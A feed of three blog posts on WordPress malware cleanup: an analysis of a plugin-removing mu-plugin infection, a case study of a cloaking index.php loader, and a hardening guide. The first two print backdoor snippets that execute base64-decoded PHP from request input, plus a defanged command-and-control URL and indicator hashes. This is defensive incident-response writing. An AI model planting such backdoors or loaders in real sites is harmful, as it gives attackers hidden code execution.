DEV Community: MD Pabel

WordPress Plugin Keeps Getting Removed or Deactivated Malware

MD Pabel — Tue, 28 Apr 2026 00:00:00 +0000

Quick Answer

This pattern is a high-risk WordPress backdoor and persistence infection. It uses fake plugin components and a malicious file in wp-content/mu-plugins so attacker code runs automatically on every request. The malware includes logic consistent with disabling or removing targeted plugins and also includes stealth PHP backdoors that can reinstall the infection after partial cleanup. Reinstalling Amelia or any other affected plugin will not fix the problem until the malicious mu-plugin, fake plugin files, and backdoors are removed and WordPress plugin state is checked.

What This Threat Pattern Is

This is a WordPress backdoor with plugin tampering and persistence. The representative samples include two large obfuscated PHP files masquerading as plugin components, one of them observed in the must-use plugins directory, plus several very small PHP backdoors designed to execute attacker-supplied code while returning HTTP 404. The large files contain decoded references to WordPress plugin-management functions and options, including strings consistent with deactivate_plugins, get_plugins, is_plugin_active, active_plugins, add_option, and update_option. The code also includes request-driven logic that collects plugin identifiers from user-controlled request data and processes them through helper functions that are consistent with removing or altering targeted plugins.

What Visitors May See

A plugin such as Amelia keeps getting deactivated after you activate it.
A plugin appears to reinstall successfully, then disappears or stops working again.
WordPress admin shows unexpected inactive plugins, delete links, or unstable plugin status.
A suspicious file appears in /wp-content/mu-plugins/ even though you did not create a custom must-use plugin.
Legitimate-looking plugin names appear in the file system, but they are unknown to you and not from a trusted vendor.

Screenshot-Based Symptoms

The uploaded screenshots show two visible symptoms that match what hacked site owners often search for. One screenshot shows the WordPress Plugins screen with Amelia highlighted while the reported problem is that the plugin keeps getting removed or will not stay installed. The other screenshot shows a suspicious PHP file named media-patcher-lab.php inside /public_html/wp-content/mu-plugins/ beside legitimate hosting-related mu-plugin files. That second screenshot matters because mu-plugins load automatically and are a common persistence location when malware needs to keep interfering with WordPress behavior such as plugin activation or removal.

Screenshot Findings

WordPress admin Plugins page with Amelia highlighted by a red arrow; other plugins show Activate/Delete links, and the user context says the plugin keeps getting removed automatically. — This screenshot supports the visible symptom seen by the site owner: a plugin, specifically Amelia, is not remaining installed or active as expected.
Hosting file manager view of public_html > wp-content > mu-plugins showing media-patcher-lab.php beside hostinger-auto-updates.php and hostinger-preview-domain.php. — This screenshot shows a malicious-looking must-use plugin file placed in mu-plugins, a strong persistence location because files there auto-load on every request.

Why This Usually Means the Site Is Compromised

If your WordPress plugin keeps disappearing, deactivating itself, or failing to stay installed after you reinstall it, that can be a malware symptom rather than a normal plugin conflict. In the representative samples reviewed here, the infection includes a malicious must-use plugin in wp-content/mu-plugins, fake plugin-like PHP components with heavy obfuscation, and small disposable PHP backdoors. The code contains WordPress plugin-management logic consistent with deactivating or removing selected plugins, which fits the reported symptom that Amelia was automatically removed again after reinstall attempts.

Likely Root Cause

The original intrusion point is not proven from the provided samples alone. What is proven is that the site contains malicious PHP posing as trusted plugin code, a must-use loader that auto-executes, and multiple code-execution backdoors. The initial access could have come from a vulnerable plugin, a compromised admin account, a file manager component, reused credentials, or another pre-existing backdoor. The evidence strongly supports an already-compromised WordPress environment rather than a simple Amelia plugin bug.

Why It Keeps Coming Back

It keeps coming back because one of the representative malicious files is placed in wp-content/mu-plugins. Must-use plugins are loaded automatically by WordPress and do not rely on normal activation in the Plugins screen. That means the malware can keep running even if you reinstall the affected plugin. On top of that, the numbered PHP backdoors can accept attacker input, decode PHP, write it to a temporary file, execute it, and delete it, allowing the attacker to restore deleted malware or reapply plugin tampering after partial cleanup. If only Amelia is reinstalled while the mu-plugin and backdoors remain, the malicious logic can simply disable or remove it again.

Files and Directories to Check

/wp-content/mu-plugins/
/wp-content/plugins/
/wp-content/themes/
/wp-content/uploads/
/wp-admin/includes/plugin.php
Any unexpected standalone PHP files in the web root or writable directories, especially short random-looking filenames such as 661c8d20.php, 991c1262.php, or a7749158.php
Any fake plugin directories or files using names like media-patcher-lab or Dev Scanner Ink
Any file-manager or elFinder-related paths under /wp-content/plugins/, especially file-manager-advanced/lib/php/elFinderConnector.class.php if present

Removal Targets Inferred From The Samples

file: /wp-content/mu-plugins/media-patcher-lab.php — Observed malicious must-use plugin loader and likely main persistence point causing plugin tampering.
component: Fake plugin/component 'Dev Scanner Ink' represented by menu-queue-bit.php — Obfuscated fake plugin with plugin-management and network behavior; remove the full malicious component wherever deployed, not just the sample file.
file: 661c8d20.php — Hidden disposable PHP backdoor enabling arbitrary code execution via GET/POST.
file: 991c1262.php — Hidden disposable PHP backdoor enabling arbitrary code execution via GET/POST.
file: a7749158.php — Hidden disposable PHP backdoor enabling arbitrary code execution via GET/POST.
component: Any deployed fake plugin/component named 'Media Patcher Lab' outside mu-plugins — Representative sample indicates a broader malicious component family; remove all matching fake plugin files/directories if present.
component: Any malicious or unexpected file-manager-advanced / elFinder web connector files under wp-content/plugins — The malware explicitly references those paths and may leverage them for access or staging.

Technical Analysis

The representative samples support this threat pattern strongly. The file media-patcher-lab.php presents itself as a benign plugin component but was observed in /wp-content/mu-plugins/, which is important because files there load automatically on every request. The file menu-queue-bit.php also uses a fake plugin header and is heavily obfuscated. Both large PHP samples build arrays of decoded strings and function names at runtime, a common evasion technique. The decoded strings include WordPress plugin-management terms and functions such as deactivate_plugins, get_plugins, is_plugin_active, active_plugins, add_option, update_option, and plugin-related admin includes. In both large samples, the provided snippets show request-driven logic that gathers one or more plugin identifiers from $_REQUEST and passes them into helper routines consistent with tampering, deactivation, or removal. That is highly relevant to the user-visible symptom that a plugin like Amelia will not remain installed or active. The samples also reference wp-content/mu-plugins directly and include paths related to file-manager and elFinder-style connectors. That does not by itself prove the original intrusion vector, but it does show the malware is aware of or may abuse those paths. Separately, the three small PHP files are clear stealth backdoors. Each one checks for a specific request parameter, base64-decodes attacker-supplied PHP, writes it to a temporary file, includes it, deletes it, and returns HTTP 404. That behavior is not legitimate WordPress behavior and provides arbitrary code execution while trying to stay hidden in logs and casual testing. Observed SHA-256 values from the representative samples include 6a7c18f6d3b2d4c16e4586ba9ab14ee8591cf18e93b1a5d50cde07859e44fabb for menu-queue-bit.php, 81e784f9a5cbc2a2fd0fd7bc255c3276ce1a6cf299ba13bd2de7a475cec31b16 for media-patcher-lab.php, e2092aa28dea5a457404d6fb6768333309f19748c8a264153efdb329f8857cc1 for 661c8d20.php, 6f046617114d75f87fdec801cfce27fc16f0c031c348fbf60e1330f0497678e6 for 991c1262.php, and dde00d8c7ab24ff69988faf80d28d304c248a3de2604ce385479984f31cd0bba for a7749158.php. Public domains visible in the representative samples include web-architects-ltd-.com and code-elements.com, used in fake plugin headers and URL strings. Those names should be treated as suspicious in this context, not as proof of legitimate plugin origin.

Attack Chain

Attacker gains code execution on the WordPress site through an unknown initial access path.
Malicious PHP is placed as a fake plugin component and at least one must-use plugin file is installed in /wp-content/mu-plugins/.
The mu-plugin auto-loads on every request and initializes obfuscated helper logic.
The malware reads request parameters and identifies one or more target plugins to alter, deactivate, or remove.
Plugin state and possibly plugin files are tampered with, causing symptoms such as Amelia not staying installed or active.
Small stealth backdoors remain available to re-run attacker code, restore deleted malware, or reapply plugin tampering after incomplete cleanup.

Evidence Notes

A suspicious file named media-patcher-lab.php was observed in /wp-content/mu-plugins/ in the screenshot evidence.
The user-reported symptom was that a plugin was automatically removed even when they tried to reinstall it.
Both large representative PHP samples use fake plugin headers and heavy obfuscation.
Representative code strings include WordPress plugin-management functions and option handling references.
Representative snippets show request-controlled plugin identifiers being processed by helper routines consistent with plugin tampering.
Three additional representative PHP files act as hidden disposable backdoors that execute base64-decoded PHP from GET or POST input and then return 404.

Representative Malware Samples

FILE: `media-patcher-lab.php`

Why it matters: Fake must-use plugin with benign-looking header, placed in mu-plugins for automatic execution on every request.

/** Plugin Name: Media Patcher Lab ... Author: Code Elements ... */

FILE: `menu-queue-bit.php`

Why it matters: Fake plugin header disguising a heavily obfuscated malware component as a backup/restore utility.

/** Plugin Name: Dev Scanner Ink ... Description: Provides scheduled backup and restore functionality ... */

FILE: `menu-queue-bit.php`

Why it matters: Obfuscated logic reads plugin identifiers from request data and passes them into helper routines consistent with plugin deactivation/removal.

$target = isset($_REQUEST[...]) ? $_REQUEST[...] : ...; ... foreach ($targets as $plugin) { if (helper_check($plugin)) { helper_remove($plugin); } }

FILE: `661c8d20.php`

Why it matters: Tiny disposable backdoor that decodes attacker-supplied PHP, writes it to a temp file, includes it, and deletes it while returning 404.

if (array_key_exists('REDACTED_PARAM', $_POST) || array_key_exists('REDACTED_PARAM', $_GET)) { $payload = base64_decode(...); $tmp = tempnam(sys_get_temp_dir(), 'wp_'); file_put_contents($tmp, '<?php ' . $payload); @include_once($tmp); @unlink($tmp); } http_response_code(404);

FILE: `991c1262.php`

Why it matters: Same backdoor family with a different trigger parameter, indicating multiple redundant re-entry points.

$payload = base64_decode($_REQUEST['REDACTED_PARAM']); $tmp = tempnam(sys_get_temp_dir(), 'wp_'); file_put_contents($tmp, '<?php ' . $payload); @include_once($tmp); @unlink($tmp);

FILE: `a7749158.php`

Why it matters: Same stealth pattern: execute transient PHP code and mask activity with 404 responses.

try { ... @include_once($tmp); @unlink($tmp); } catch (Throwable $e) { http_response_code(404); }

Indicators of Compromise (Public-Safe)

6a7c18f6d3b2d4c16e4586ba9ab14ee8591cf18e93b1a5d50cde07859e44fabb
81e784f9a5cbc2a2fd0fd7bc255c3276ce1a6cf299ba13bd2de7a475cec31b16
e2092aa28dea5a457404d6fb6768333309f19748c8a264153efdb329f8857cc1
6f046617114d75f87fdec801cfce27fc16f0c031c348fbf60e1330f0497678e6
dde00d8c7ab24ff69988faf80d28d304c248a3de2604ce385479984f31cd0bba
web-architects-ltd-[.]com
code-elements[.]com
/wp-content/mu-plugins/media-patcher-lab[.]php
abe38ff7
f8a65af7
4f081bee

Removal Strategy

Because this infection has persistence and backdoor behavior, cleanup should focus on removing the malicious execution points first, then checking WordPress plugin state and other reinfection paths. Do not treat this as a normal plugin reinstall problem.

Manual Removal Protocol

Take a full file and database backup for forensic reference before changing anything.
Put the site in maintenance mode if possible and block direct public access during cleanup.
Inspect /wp-content/mu-plugins/ and remove malicious files that do not belong there, including the observed representative sample media-patcher-lab.php if present on the infected site.
Locate and remove the full malicious component represented by menu-queue-bit.php, not just the single file sample. If it exists inside a fake plugin folder, remove the entire malicious directory after verifying it is not legitimate.
Search the entire webroot for small disposable backdoors matching the representative pattern: short random PHP filenames, base64_decode, tempnam, sys_get_temp_dir, file_put_contents, include_once, unlink, and forced HTTP 404 responses.
Remove the representative backdoor files 661c8d20.php, 991c1262.php, and a7749158.php wherever found.
Search for additional copies of the same backdoor family using code pattern matching, not just filename matching.
Review /wp-content/plugins/ for unexpected file-manager or elFinder connector files, especially if you do not intentionally use such a plugin. Remove or replace compromised components with clean vendor copies.
Check the active_plugins option and other plugin-related options in the database for malicious tampering after the malicious files are removed.
Reinstall affected legitimate plugins such as Amelia only after the malicious mu-plugin and backdoors are gone.
Replace WordPress core files, reinstall all plugins from trusted sources, and replace themes with clean copies where possible.
Rotate all WordPress admin passwords, hosting passwords, SFTP/SSH credentials, and database credentials after cleanup.
Review administrator accounts and remove any rogue users.
Check scheduled tasks, wp-cron behavior, and any custom auto-loader files for malicious persistence.
Monitor the site after cleanup for renewed plugin deactivation, recreated files, or unexpected outbound requests.

Hardening Checklist

Keep wp-content/mu-plugins under regular review because malware often hides there to auto-load.
Remove unused plugins and especially remove file manager plugins if they are not essential.
Restrict file write access where practical and disable direct plugin/theme editing from wp-admin.
Use strong unique passwords and enable MFA for WordPress and hosting accounts.
Keep WordPress core, plugins, themes, PHP, and server software fully patched.
Add file integrity monitoring for wp-content and alerts for new PHP files in uploads or unexpected directories.
Review least-privilege access for hosting, SFTP, SSH, and WordPress administrator roles.
Use a web application firewall and malware scanning, but do not rely on them alone for cleanup.
Audit logs for suspicious logins, file uploads, plugin installs, and admin actions around the first known symptoms.
Maintain clean off-site backups so recovery does not depend on an already-infected file set.

FAQ

Can malware really remove or deactivate a WordPress plugin automatically?

Yes. In this pattern, the representative code contains plugin-management logic and request-driven routines consistent with disabling or removing selected plugins. A malicious mu-plugin can run on every request and keep changing plugin state even after you reinstall the legitimate plugin.

Why is the mu-plugins folder important here?

Files in wp-content/mu-plugins load automatically and are not managed like normal plugins. That makes mu-plugins a strong persistence location. If malware is there, reinstalling Amelia or another plugin will not stop the malicious code from running.

Is this definitely an Amelia vulnerability?

No. The evidence supports plugin tampering affecting Amelia, not that Amelia itself caused the infection. The root cause is not proven from these samples alone.

Could this just be a plugin conflict instead of malware?

Not based on the provided evidence. The observed files are obfuscated, impersonate plugin components, include WordPress plugin-management logic, and are accompanied by stealth code-execution backdoors. That is malware behavior, not a normal compatibility conflict.

What should I remove first?

Start with malicious persistence points: suspicious files in wp-content/mu-plugins, the fake plugin component represented by menu-queue-bit.php, and the small numbered PHP backdoors. After that, review plugin directories and the database for tampered plugin state.

Do I need to check the database too?

Yes. The representative code references WordPress options and plugin state handling. After file cleanup, review active_plugins and related options for malicious changes, and confirm the affected legitimate plugins can remain installed and active.

What if I delete only the suspicious plugin file I can see?

That is often not enough. This pattern includes multiple persistence points. If the mu-plugin remains, or if one of the numbered backdoors is still present, the attacker can restore the infection or repeat plugin tampering.

Proof statement: Based on representative malware samples and screenshots collected during real WordPress cleanup work by MD Pabel, this threat pattern is supported by observed mu-plugin persistence, fake plugin components, request-driven plugin tampering logic, and stealth PHP backdoors that enable re-entry and reinfection.

Confidence: Root cause low, persistence high, screenshot read high, IOCs high.

WordPress Site Showing a Blank Page? I Found Malware in index.php [Case Study]

MD Pabel — Sat, 25 Apr 2026 22:57:10 +0000

If your WordPress site is showing a blank page, the most common causes are plugin conflicts, broken themes, PHP fatal errors, memory problems, or malware. In this case study, I found that the blank page was caused by obfuscated malware injected into the site’s root index.php file, which blocked WordPress from loading normally.

A WordPress site showing a blank page usually makes people think of a plugin conflict, a broken theme, a memory issue, or the classic White Screen of Death.

Sometimes that is true.

But in this case, the blank page had a very different cause.

The site owner first noticed that his website showed nothing but a blank page. No homepage. No useful error. Just an empty screen. Like most website owners, he tried the common advice first and even asked ChatGPT to help troubleshoot the issue. When that did not solve the problem, he contacted me on WhatsApp and asked me to inspect the site directly.

What I found was not a normal WordPress error.

The site’s root index.php file had been infected with obfuscated malware. That single file was enough to block the normal WordPress load process and leave the entire website looking dead.

If your own site is blank, hacked, reinfected, or behaving strangely, you may need a proper WordPress malware removal service rather than basic troubleshooting.

Case Summary

Symptom: The WordPress site showed a completely blank page.
Initial assumption: It looked like a normal White Screen of Death or plugin issue.
Real cause: The root index.php file had been replaced with obfuscated malware.
Why it happened: The malware intercepted requests and failed to load WordPress normally for standard visitors.
Fix: Remove the malicious loader, replace the infected file with a clean version, check for persistence, and harden the site.

Why this case matters

This case is important because a blank WordPress page is only a symptom. It does not tell you the real cause.

A blank page can be triggered by:

a plugin conflict
a broken theme update
a PHP fatal error
memory exhaustion
file corruption
bad permissions
malware

In this cleanup, the visible symptom was simple: the site looked completely blank.

The real cause was far more serious: the attacker had replaced the website’s front entry file with a malicious PHP loader.

What the client actually saw

From the client’s point of view, the problem was straightforward:

the website opened as a blank page
there was no useful frontend output
the site looked broken or dead
normal troubleshooting did not fix it

This is exactly why symptom-focused SEO matters for a case study like this. Most clients do not search for “index.php cloaking malware” or “obfuscated PHP traffic filter.”

They search for things like:

WordPress site showing blank page
WordPress blank homepage
website shows nothing
WordPress white screen no error
homepage suddenly blank

That is the real-world problem they are trying to solve.

What I found in `index.php`

When I checked the root index.php, it was clearly not a clean WordPress file. A normal WordPress root index.php is very short and simply loads WordPress. This one was packed with obfuscated PHP, goto jumps, encoded strings, and remote request logic.

Here is a defanged and shortened sample that shows the key behavior without reproducing the full payload:

<?php
$vGmqg = 'hxxp://142[.]54[.]188[.]122/z60424_o/';

function gnySF($url, $data = array()) {
    // sends POST requests to a remote server
}

function SKgHu($ua) {
    // checks whether the visitor looks like Googlebot, Bingbot, etc.
}

function LMaEG($referrer) {
    // checks whether the visitor came from a search engine
}

That short excerpt already reveals a lot. This was not damaged core code. It was a malicious loader built to inspect traffic, contact a remote server, and decide what to do next.

If you have seen suspicious PHP in your own root file, this related write-up may also help: Malicious PHP script detected in index.php.

How the malware worked

1. It contacted a remote server

The infected file defined a remote base URL and built requests to endpoints such as:

robots.php
map.php
words.php
jump.php
indata.php

That means the malware was not just sitting there passively. It was designed to communicate externally and fetch instructions or output.

2. It checked bots and search traffic

Two of the most revealing functions were the ones that checked:

whether the visitor looked like a bot or search engine crawler
whether the referrer appeared to come from Google, Bing, Yahoo, or similar sources

This is a strong sign of cloaking behavior. The script cared about who was visiting and how they arrived.

3. It had logic for sitemap and robots-related requests

The code also handled XML, sitemap-style requests, and robots-related behavior. That is not normal for a clean WordPress index.php.

When malware includes bot detection plus robots/sitemap logic, it often points to:

SEO spam support
cloaking
redirect targeting
search result poisoning
selective content delivery

4. It treated different visitors differently

The script appears to separate:

normal human visitors
bots and crawlers
search-engine referrals
XML or sitemap-related requests
certain URL patterns

That is a big clue. This file was acting like a traffic filter rather than a normal WordPress bootstrap file.

Why the site showed a blank page

This is the key question.

A clean WordPress root index.php should load the WordPress environment and pass the request to the rest of the site. In this case, the infected file did not behave like a standard WordPress entry file at all.

Instead, it:

intercepted the request
checked the visitor type
built remote requests
handled special conditions
did not reliably continue into the normal WordPress load path

So the site went blank because the malware effectively replaced the normal front door of WordPress.

In plain English, this is what happened:

a real visitor opened the site
the infected index.php ran first
the script checked conditions and traffic type
it did not properly load WordPress for that request
the browser received no meaningful output
the visitor saw a blank page

So this was not just a random white screen. It was the visible result of a malicious front-controller replacement.

Why this was more dangerous than “just a blank site”

The blank page was only the obvious symptom.

The bigger risk was what the malware was trying to do behind the scenes. Based on its behavior, this script could potentially support:

cloaked spam pages
manipulated sitemap or robots responses
search-engine targeting
redirect behavior
SEO poisoning
selective content delivery

So even if the owner only noticed “my site is blank,” the actual risk could include search visibility damage, spam indexing, or hidden traffic abuse.

If you are investigating suspicious indexing or hidden spam, also see:

How I approached the cleanup

Once I confirmed that index.php was infected, I handled it as a malware incident, not just a blank-page debugging issue.

1. I confirmed the visible symptom

I verified that the site was genuinely serving a blank page and treated it as a live outage.

2. I inspected the root entry file early

Because the site showed no useful output, I checked the root file path early instead of wasting too much time on plugin-only assumptions.

3. I compared the file against a clean WordPress baseline

A clean WordPress index.php is tiny and predictable. This one clearly was not.

4. I removed the malicious loader

The visible infected file had to be removed and replaced with a known-clean version.

5. I checked for persistence

When index.php is infected, I never assume that file is the only problem. I also check for:

hidden droppers
recently modified PHP files
malicious mu-plugins
suspicious cron jobs
database injections
rogue admin users
theme and plugin tampering

This is where many quick cleanups fail. The visible file gets replaced, but the hidden source remains.

6. I hardened the site after cleanup

Once the infection was removed, the next job was to reduce the chance of reinfection by tightening the site’s security posture.

What made this different from a normal White Screen of Death fix

Many WordPress blank page issues really are caused by plugin conflicts, memory limits, or failed updates. That is why blank-page guides often start with standard troubleshooting.

But this case was different because the blank page was caused by intentional malicious logic.

A normal fix might involve:

disabling plugins
switching themes
increasing PHP memory
enabling debugging

A malware cleanup requires something deeper:

file integrity verification
code review
persistence hunting
credential review
log inspection
hardening after cleanup

If you want to compare this with a more classic malware-triggered white-screen scenario, read: How to fix the WordPress white screen of death caused by Zeura malware.

Signs your “blank page” may actually be malware

If your WordPress site is blank and any of the following are also true, malware should be on your shortlist:

the root index.php is longer than expected or heavily obfuscated
you see goto chains, encoded strings, or strange cURL logic
the site behaves differently for bots or certain URLs
robots.txt or sitemap behavior suddenly changes
the blank page appeared without a clear plugin/theme explanation
the site comes back briefly and then breaks again
the infection returns after a quick file replacement

If that sounds familiar, the problem may be bigger than a routine frontend error.

The SEO lesson from this case

This site owner did what most people do first: he searched for help based on the symptom.

That is why case studies like this should be written around what real clients experience, not just the malware label.

People do not usually search for:

obfuscated cloaking loader in index.php
bot-aware PHP SEO malware
remote content loader in WordPress root

They search for:

WordPress site showing blank page
WordPress site shows nothing
homepage blank no error
WordPress white screen
website suddenly blank

That is the search intent this case study is built for.

What to do if your WordPress site shows a blank page

If you are dealing with this right now, do not assume it is only a plugin conflict.

Start with this order:

take a backup of the current state
check whether wp-admin is also affected
inspect the root index.php
enable debugging if needed
compare suspicious core files against clean WordPress originals
review recent modifications and access logs
look for persistence before calling the site clean

If the site is business-critical, it is often safer to get a manual cleanup than to keep guessing.

For a related example of recurring root-file infections, see: Case study: fixing regenerating index.php malware in WordPress.

Final thoughts

This case started with a simple symptom: a WordPress site showing a blank page.

But the real issue was malware inside index.php.

That single infected file changed the site’s front door into a traffic filter, a remote-content loader, and a cloaking component. For normal visitors, the result was a blank screen. For bots or selected traffic, the behavior could be very different.

That is why I always say this:

A blank page is a symptom. The real job is finding the code path that created it.

If your WordPress site is blank and the usual troubleshooting steps are not solving it, there is a real chance you are dealing with file-level compromise, not just a harmless error.

Need help cleaning a hacked or blank WordPress site? Check my WordPress malware removal service.

FAQ

Why is my WordPress site showing a blank page with no error?

The most common causes are plugin conflicts, theme issues, PHP fatal errors, failed updates, or memory limits. But in some cases, malware replaces important files like index.php, which can blank the site without showing a normal error.

Can malware cause a WordPress blank page?

Yes. Malware can break rendering directly, replace the normal WordPress load path, or interfere with output so the browser receives nothing useful.

How do I know if my blank page is malware or just a plugin issue?

Check whether core files look normal, especially index.php. If you see obfuscated code, remote URLs, bot checks, encoded strings, or unusual cURL logic, treat it as a malware incident.

Why would malware infect index.php?

Because index.php is one of the first files involved in handling frontend requests. If an attacker controls it, they can interfere with what the site serves to visitors and crawlers.

Should I just replace index.php and move on?

Not unless you are sure there is no persistence. In many WordPress infections, the visible file is only the symptom. Another hidden script may simply rewrite it again.

How to Secure a WordPress Site: 15 Practical Steps That Prevent Hacks

MD Pabel — Sat, 25 Apr 2026 02:52:20 +0000

WordPress can be very secure, but only if you treat security as ongoing maintenance, not a one-time setup task. According to WordPress’s own security documentation, the most important thing you can do is keep WordPress core, plugins, and themes up to date. The same guidance also makes it clear that good security requires monitoring, maintenance, and a recovery plan.

That matters because WordPress is a huge target. W3Techs reports that WordPress powers about 42.2% of all websites and 59.6% of websites with a known CMS. Attackers naturally go where the opportunity is.

The good news is that most WordPress compromises are preventable.

In my experience, hacked WordPress sites usually do not get compromised because “WordPress is insecure.” They get hacked because of a small number of repeated problems: outdated plugins, weak admin security, bad backup habits, unsafe file access, and missed signs of malware persistence. That pattern also matches broader WordPress security data. Patchstack reported 7,966 new vulnerabilities in the WordPress ecosystem in 2024, and 96% of them were in plugins , while only seven vulnerabilities were found in WordPress core itself.

So if you want to secure a WordPress site properly, focus on the controls that reduce real-world risk. If your site is already infected, reinfected, or blacklisted, you may need a proper WordPress malware removal service before hardening alone will be enough.

Why WordPress Sites Get Hacked

Most WordPress attacks follow a familiar path. An attacker finds an outdated or vulnerable plugin, brute-forces a weak login, abuses a poorly secured admin area, or plants malware that stays hidden in files or the database.

That is why prevention matters so much for both security and SEO. Sucuri’s 2024 malware trends report found 422,741 websites affected by SEO spam in its analysis, including 117,393 Japanese SEO spam detections. Once that kind of infection lands on a site, rankings, trust, and conversions can all suffer at the same time.

If your goal is to keep a WordPress site safe, these are the hardening steps I would prioritize first.

1. Keep WordPress Core, Themes, and Plugins Updated

This is the foundation.

WordPress’s security guide says the most important thing to do for WordPress security is to keep WordPress itself and all installed plugins and themes up to date. It also recommends choosing themes and plugins that are actively maintained.

Why this matters is simple: most real-world attacks do not start with WordPress core. They start with outdated extensions. If you delay updates for months, you leave known vulnerabilities exposed.

A practical routine is:

update WordPress core promptly
update plugins and themes regularly
remove anything abandoned by its developer
test major updates on a staging copy when possible

2. Delete Plugins and Themes You Do Not Use

Deactivated is not the same as safe.

Unused plugins and themes still increase your attack surface, especially if they are old, abandoned, or vulnerable. If you are not using something, delete it completely instead of leaving it installed “just in case.”

This is one of the simplest ways to reduce risk without adding anything new.

3. Only Use Plugins and Themes from Trusted Sources

Not every plugin risk comes from obscure software. Patchstack found that 1,018 vulnerabilities in 2024 affected plugins with at least 100,000 installs , which is a good reminder that popularity is not the same as safety.

Use plugins and themes from:

the WordPress.org repository
reputable premium vendors
developers with active update and support histories

Avoid nulled themes, pirated plugins, and random downloads from unknown sites. Those are still one of the fastest ways to get backdoors, hidden admin users, spam injections, or reinfections.

4. Use Strong Passwords and a Password Manager

Weak passwords are still one of the easiest entry points for attackers.

WordPress’s brute-force guidance recommends strong, unique credentials and modern login hardening.

At minimum:

use a unique password for every admin account
avoid reusing hosting, email, and WordPress passwords
use a password manager for admins and editors
change credentials immediately after staff changes or suspicious activity

5. Enable Two-Factor Authentication for Every Admin Account

A strong password is good. A strong password plus 2FA is far better.

WordPress’s brute-force documentation recommends enabling two-factor authentication for all administrator and privileged accounts. If you want a practical setup tutorial, see my guide on how to enable two-factor authentication in WordPress.

If I had to choose only a few login protections, 2FA would be near the top of the list.

6. Add Login Rate Limiting and Bot Protection

Brute-force attacks are not unique to WordPress, but WordPress’s popularity makes it a common target. WordPress’s brute-force guide recommends targeted rate limiting, monitoring authentication anomalies, and blocking bad traffic at the edge before it reaches your server.

That means your login should not be protected by a password alone.

A stronger setup includes:

login rate limiting
bot checks such as CAPTCHA or Turnstile
temporary IP blocking for abusive attempts
WAF or CDN filtering before requests hit the server

7. Protect or Disable XML-RPC If You Do Not Need It

XML-RPC is still useful for some integrations, but if you do not use it, it should not be left open without a reason.

WordPress’s brute-force documentation specifically recommends protecting or disabling XML-RPC if you do not need it, and otherwise restricting and rate-limiting it.

A lot of site owners never check it at all.

8. Force HTTPS Across the Site

HTTPS is not optional anymore. It protects data in transit, reduces the risk of interception, and supports trust for users and search engines.

WordPress recommends HTTPS and provides guidance for securing the admin area with SSL.

At a minimum:

install a valid SSL certificate
force HTTPS sitewide
ensure wp-admin and logins are always secured
fix mixed-content issues after migration

9. Lock Down File Permissions

File permissions are one of those areas many site owners ignore until after a hack.

WordPress’s hardening guidance recommends using strict file system permissions and avoiding write and execute permissions more than necessary.

The goal is simple: only allow the access that is truly needed.

Bad permissions can make it much easier for attackers or malware to modify files, upload backdoors, or persist after partial cleanup. If you need a practical walkthrough, I also have a guide on fixing WordPress file and folder permissions.

10. Disable the Built-In Theme and Plugin File Editor

If an attacker gets into wp-admin, one of the first things they may do is use the built-in editor to modify theme or plugin files.

That is why WordPress hardening guidance recommends disabling dashboard file editing.

For most production sites, this should be disabled in wp-config.php:

define( 'DISALLOW_FILE_EDIT', true );

11. Review User Roles and Remove Unused Admin Accounts

Security is not only about plugins and servers. It is also about people.

WordPress’s main security documentation specifically mentions proper user roles as part of a solid security foundation.

Practical steps:

remove unused accounts
downgrade unnecessary admin users
give freelancers temporary access instead of permanent admin rights
audit accounts after redesigns, migrations, or team changes

Too many hacked sites keep old admin users around for months or years. If you suspect this is already happening, read my guide on how hackers create hidden admin users in WordPress.

12. Use a Firewall or WAF in Front of the Site

A WAF helps block malicious traffic before it reaches WordPress.

WordPress’s brute-force guidance prefers edge or WAF protections because bad traffic is blocked before it consumes server resources.

This is especially useful for:

brute-force login traffic
exploit probes
bot abuse
automated spam and malicious requests

A WAF is not a replacement for updates, but it is a strong additional layer.

13. Back Up Both Files and Database — and Test Restore

Backups are not just a box to tick. They are your recovery plan.

WordPress’s security guidance says good security includes planning for recovery, not just reducing unauthorized access risk. Its backup documentation also makes it clear that a full WordPress backup includes both files and database.

A proper WordPress backup strategy should include:

website files
database backups
offsite storage
routine restore testing

A backup you have never tested is not yet a trusted backup.

If you want plugin-specific walkthroughs, here are two useful guides:

14. Monitor Logs, File Changes, and Suspicious Activity

Good security requires monitoring. WordPress says security is continuous work, and its hardening guide also recommends file integrity monitoring, especially for executable file types.

This matters because some infections are designed to stay quiet.

Recent Sucuri research shows attackers increasingly hiding malware in unusual places, including database entries and modified plugin-related data, not just obvious theme files. That is one reason basic file-only scanning often misses the real source of reinfection.

If you want real examples of how logs and persistence clues expose hidden malware, see these case studies:

15. Have a Cleanup and Recovery Plan Before You Need One

This is the step most site owners skip.

WordPress’s security documentation says risk can never be reduced to zero, which is why you must plan for recovery so sites can be restored quickly if something goes wrong.

A basic recovery plan should include:

who has access to hosting, domain, DNS, CDN, and admin logins
where clean backups are stored
how to take the site offline safely if needed
how to rotate passwords and revoke user sessions
how to check for hidden users, backdoors, cron jobs, and database injections
how to request blacklist review if the site gets flagged

That last part matters a lot for hacked WordPress sites with spam or redirect malware. If you want to understand why some infections keep returning, read why WordPress malware keeps coming back.

My Practical Monthly WordPress Security Checklist

If you want a simple routine, do this once a month:

Update WordPress core, plugins, and themes
Delete anything unused or abandoned
Review admin users and permissions
Check backups and confirm restore access
Review login activity and suspicious IPs
Scan for malware, file changes, and spam pages
Check Search Console for security warnings or indexing anomalies
Review performance drops, redirect behavior, and unexpected page creation
Confirm SSL, WAF, and login protections are still active
Fix issues immediately instead of letting them pile up

That simple discipline prevents a lot of emergencies.

What to Do If Your WordPress Site Is Already Hacked

If your site is already compromised, do not just delete a few suspicious files and assume it is clean.

A proper cleanup usually means:

identifying the original entry point
removing malicious code from files and database
checking for hidden admin users and scheduled reinfection paths
updating everything vulnerable
rotating passwords
hardening the site so it does not get reinfected

This is especially important for spam infections. Japanese SEO spam, hidden redirects, and database-based malware often survive incomplete cleanups and come back weeks later. If you are dealing with this now, these guides may help:

If you are dealing with reinfection, SEO spam, blacklist warnings, or unknown admin users, it is usually faster and cheaper to do a full cleanup properly once than to keep patching symptoms.

Final Thoughts

Securing a WordPress site is not about chasing every security trick on the internet. It is about reducing the most common risks in a consistent way.

Start with the basics that matter most:

keep everything updated
remove what you do not use
secure admin access with strong passwords and 2FA
use a WAF
back up properly
monitor for suspicious behavior
plan for recovery before disaster hits

That is the difference between a WordPress site that gets repeatedly compromised and one that stays stable over the long term.

If you run a business website, online store, or client site, these steps are not optional maintenance. They are part of protecting your traffic, rankings, reputation, and revenue.

